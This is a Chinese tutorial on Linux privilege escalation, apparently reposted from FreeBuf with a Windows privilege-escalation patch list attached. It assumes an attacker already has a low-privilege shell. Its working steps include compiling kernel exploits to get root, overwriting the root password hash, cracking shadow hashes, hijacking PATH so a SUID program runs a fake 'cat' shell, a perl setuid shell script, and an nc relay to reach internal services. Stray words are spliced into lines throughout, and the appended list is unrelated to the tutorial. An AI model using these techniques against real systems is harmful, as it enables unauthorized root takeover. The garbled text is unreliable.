20. Linux提权:从入门到放弃

几点前提

已经拿到低权shellphp

被入侵的机器上面有nc,python,perl等linux很是常见的工具html

有权限上传文件和下载文件python

内核漏洞提权

提到脏牛,运维流下两行眼泪,咱们留下两行鼻血。内核漏洞是咱们几乎最早想到的提权方法。通杀的内核漏洞是十分少见的,于是咱们应该先对系统相关的信息进行收集。mysql

查看发行版linux

cat /etc/issue cat /etc/*-release

查看内核版本git

uname -a

这里我找了台机器测试:github

#uname -a Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/*-release DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04 DISTRIB_CODENAME=lucid DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"

这样,咱们就获得了系统的内核版本(2.6.32-21 pae),cpu架构(i686),和发行版(ubuntu 10.04)web

能够开始搜索了sql

大多内核漏洞经过内核版本能很快查到shell

用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

searchspoit linux 2.6 ubuntu priv esc

结果:

这么多,咱们加入系统信息缩小范围

searchsploit linux priv esc 2.6 ubuntu 10

这样可选的exp就少多了,很无奈,咱们须要漫长的点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。所以咱们可以虽然很气,但也很快地去掉一些不具有利用条件的exp。好比第三个exp针对一个特别的磁盘格式,排除。

通过艰难的寻找,发现15704,c很顺眼,因而把源代码上传,而后:

#gcc exp.c #lsexp.c a.out#./a.out id uid=0(root) gid=0(root)

咱们先编译exp再执行。能够看到exp执行之后没输出,可是咱们其实已经获得rootshell了(exp执行之后必定敲个命令,否则都不知道是成功了仍是卡了)

exploitdb的搜索过程虽然繁琐,可是能基本保证不会遗漏漏洞。若是想先偷懒图个快的话,咱们能够试试https://www.kernel-exploits.com/,或者 https://github.com/SecWiki/linux-kernel-exploits  这里的exp已经按照内核版本分类了,并且有不少已经完成了编译。

好比咱们搜索2.6.32:

这个rds的binary刚巧能用。“我收集信息了,我上传exp了,我就root了。“

固然,以上只是很是理想的状况,咱们常常会遇到没有gcc的坑爹服务器。这时咱们就须要在本地编译。本地编译时不止要看exp源码注释的编译参数,也须要手动调整一下编译的参数,好比给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌,再也不赘述。

当内核版本没有好用的exp对应的时候,能够检查磁盘格式:

cat /etc/fstab

和已经安装的程序:

dpkg -l rpm -qa

而后进行刚刚繁琐的搜索,没准就找到个bug

最后强调利用内核漏洞的几个注意点:

1.读源码,否则可能连编译都不会

2.读源码,否则费劲编译完才发现不适用

3.读源码,否则遇到一个删全盘的”exp“怎么办

明文root密码提权

passwd和shadow

虽然遇到的几率很小,但仍是提一下

大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

这里是一个典型的passwd文件

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh ibuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒号分割,第一列是用户名,第二列是密码,x表明密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash

root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7::: daemon:*:15730:0:99999:7::: bin:*:15730:0:99999:7::: sys:*:15730:0:99999:7::: sync:*:15730:0:99999:7::: games:*:15730:0:99999:7::: man:*:15730:0:99999:7::: lp:*:15730:0:99999:7::: mail:*:15730:0:99999:7::: news:*:15730:0:99999:7::: uucp:*:15730:0:99999:7::: proxy:*:15730:0:99999:7::: www-data:*:15730:0:99999:7::: backup:*:15730:0:99999:7::: list:*:15730:0:99999:7::: irc:*:15730:0:99999:7::: gnats:*:15730:0:99999:7::: nobody:*:15730:0:99999:7::: libuuid:!:15730:0:99999:7::: syslog:*:15730:0:99999:7::: mysql:!:15730:0:99999:7::: dovecot:*:15730:0:99999:7::: sshd:*:15730:0:99999:7::: postfix:*:15730:0:99999:7:::

shell命令来检查权限

cd /etc ls -l passwd shadow

若是passwd可写,咱们就能够把root的密码字段(x)替换成一个已知密码的hash(好比本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。若是shadow可读,咱们能够读走root的hash,而后用hashcat或者john暴力破解之。

密码复用

不少管理员会重复使用密码,所以数据库或者web后台的密码也许就是root密码。

and then?

有了(疑似)root密码怎么办?你必定想ssh登录。然而ssh极可能禁止root登录,或是防火墙规则将你排除在外了。返回来想,咱们不是有一个低权shell了吗?找个办法再上面“输入”密码就行了。显然,直接在低权shell里面用sudo是不奏效的。这是由于出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。所以为了可以输入密码,咱们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

python -c 'import pty;pty.spawn("/bin/sh")'

就用python简历了一个虚拟终端,而后就可使用sudo等等命令了。

python -c 'import pty;pty.spawn("/bin/sh")' $ sudo su sudo su [sudo] password for www-data: 123456 Sorry, try again. [sudo] password for www-data:

计划任务

系统内可能会有一些定时执行的任务,通常这些任务由crontab来管理,具备所属用户的权限。非root权限的用户是不能够列出root用户的计划任务的。可是/etc/内系统的计划任务能够被列出

ls -l /etc/cron*

默认这些程序以root权限执行,若是有幸遇到一个把其中脚本配置成任意用户可写的管理员,咱们就能够修改脚本等回连rootshell了。

SUID

SUID是一种特殊的文件属性,它容许用户执行的文件以该文件的拥有者的身份运行。好比passwd命令,就是以root权限运行来修改shadow的。

这里咱们作个实验(环境为ubuntu 16.04):

c源代码

#include<stdlib.h> #include <unistd.h>
 int main() { setuid(0);//run as root
system("id"); system("cat /etc/shadow"); }

以root进行编译和权限设置

gcc suid.c  -o suid-exp chmod 4755 ./suid-exp#这里设置了SUID位 ls -l

输出

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp

注意s属性,表示这个程序有SUID的属性。

接下来咱们切换用户并执行

su test ./suid-exp

能够看到程序实际上已经提高到了root权限。

SUID程序常常存在提权漏洞,好比nmap就曾出现过提权漏洞。低权用户经过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权,咱们还能够尝试劫持环境变量提权。上文的c程序使用了system函数,system函数是继承环境变量的,所以咱们经过替换环境变量能够达到执行任意命令的效果。

咱们进入test低权用户的shell

cat >> /tmp/cat <<EOF #!/usr/bin/python print "this is not the true cat" print "here is a root shell!" import pty;pty.spawn("/bin/sh") EOF # 这里咱们在/tmp创建了假的cat,它会用python执行一个shell PATH=/tmp:$PATH#设置PATH,优先从/tmp查找程序 ./suid-exp#执行suid程序,由于PATH被劫持,system("cat /etc/shadow");会执行咱们的假cat

运行结果

还有一种状况:管理员配置错误,把不带setuid(0);代码的程序配置了SUID。当这些程序被劫持的时候,咱们须要本身的程序中使用setuid(0);来提权到root。这里有一个小技巧,咱们用perl脚原本setuid:

#!/usr/bin/perl $< = $>; $( = $) = 0; system ("/bin/sh"):

用这个简单的脚本劫持,就把shell运行在root权限下了。

网络与隐藏的服务

有一些服务器的服务会被配置成对内网或者对本机开放。经过对他们的攻击咱们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。

netstat -antup#查看各类网络服务

若是找到些神秘的服务,能够用netcat作个转发

mkfifo backpipe nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

以后找漏洞,攻击,从头再来。

相关工具

提了那么配置错误的利用,却没说怎么找这些错误

分享两个脚本:

unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

这两个程序不止细致地检查了很是多的配置问题,更让人感动地列出了全部可写文件。基本上能够说他们的检查是足够全面的。

固然若是但愿手动检查仍是推荐 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

总结

Linux提权花样很是多,涉及的技术五花八门。写这篇文章的时候总想把相关知识都解释清楚,可是面对系统繁琐的工做过程和众多的发行版深感本身理解之浅。我很赞同在不少论坛上看到的对于linux提权的提示:你须要知道linux系统的工做方式。各类奇技淫巧或是无比脑残的错误最终都回归到了系统的运行流程和权限管理机制上面。回归本质,系统地了解系统才是保证安全的最佳方式。

参考资料

http://www.xinotes.net/notes/note/1529/

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

 

原文连接:http://www.freebuf.com/articles/system/129549.html

 

 

 

Windows 补丁一览表

漏洞列表
 
#Security Bulletin   #KB     #Description    #Operating System
 
CVE-2017-0213  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)
MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)
MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)
MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)
MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)
MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)
MS15-097  [KB3089656]  [remote code execution]  (win8.1/2012)
MS15-076  [KB3067505]  [RPC]  (2003/2008/7/8/2012)
MS15-077  [KB3077657]  [ATM]  (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839]  [Kernel Driver]  (2003/2008/7/8/2012)
MS15-051  [KB3057191]  [Windows Kernel Mode Drivers]  (2003/2008/7/8/2012)
MS15-010  [KB3036220]  [Kernel Driver]  (2003/2008/7/8)
MS15-015  [KB3031432]  [Kernel Driver]  (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001  [KB3023266]  [Kernel Driver]  (2008/2012/7/8)
MS14-070  [KB2989935]  [Kernel Driver]  (2003)
MS14-068  [KB3011780]  [Domain Privilege Escalation]  (2003/2008/2012/7/8)
MS14-058  [KB3000061]  [Win32k.sys]  (2003/2008/2012/7/8)
MS14-040  [KB2975684]  [AFD Driver]  (2003/2008/2012/7/8)
MS14-002  [KB2914368]  [NDProxy]  (2003/XP)
MS13-053  [KB2850851]  [win32k.sys]  (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221]  [dxgkrnl.sys]  (Vista/2003/2008/2012/7)
MS13-005  [KB2778930]  [Kernel Mode Driver]  (2003/2008/2012/win7/8)
MS12-042  [KB2972621]  [Service Bus]  (2008/2012/win7)
MS12-020  [KB2671387]  [RDP]  (2003/2008/7/XP)
MS11-080  [KB2592799]  [AFD.sys]  (2003/XP)
MS11-062  [KB2566454]  [NDISTAPI]  (2003/XP)
MS11-046  [KB2503665]  [AFD.sys]  (2003/2008/7/XP)
MS11-011  [KB2393802]  [kernel Driver]  (2003/2008/7/XP/Vista)
MS10-092  [KB2305420]  [Task Scheduler]  (2008/7)
MS10-065  [KB2267960]  [FastCGI]  (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059  [KB982799]   [ACL-Churraskito]  (2008/7/Vista)
MS10-048  [KB2160329]  [win32k.sys]  (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165]   [KiTrap0D]  (2003/2008/7/XP)
MS09-050  [KB975517]   [Remote Code Execution]  (2008/Vista)
MS09-020  [KB970483]   [IIS 6.0]  (IIS 5.1 and 6.0)
MS09-012  [KB959454]   [Chimichurri]  (Vista/win7/2008/Vista)
MS08-068  [KB957097]   [Remote Code Execution]  (2000/XP)
MS08-067  [KB958644]   [Remote Code Execution]  (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025  [KB941693]   [Win32.sys]  (XP/2003/2008/Vista)
MS06-040  [KB921883]   [Remote Code Execution]  (2003/xp/2000)
MS05-039  [KB899588]   [PnP Service]  (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)
相关文章
相关标签/搜索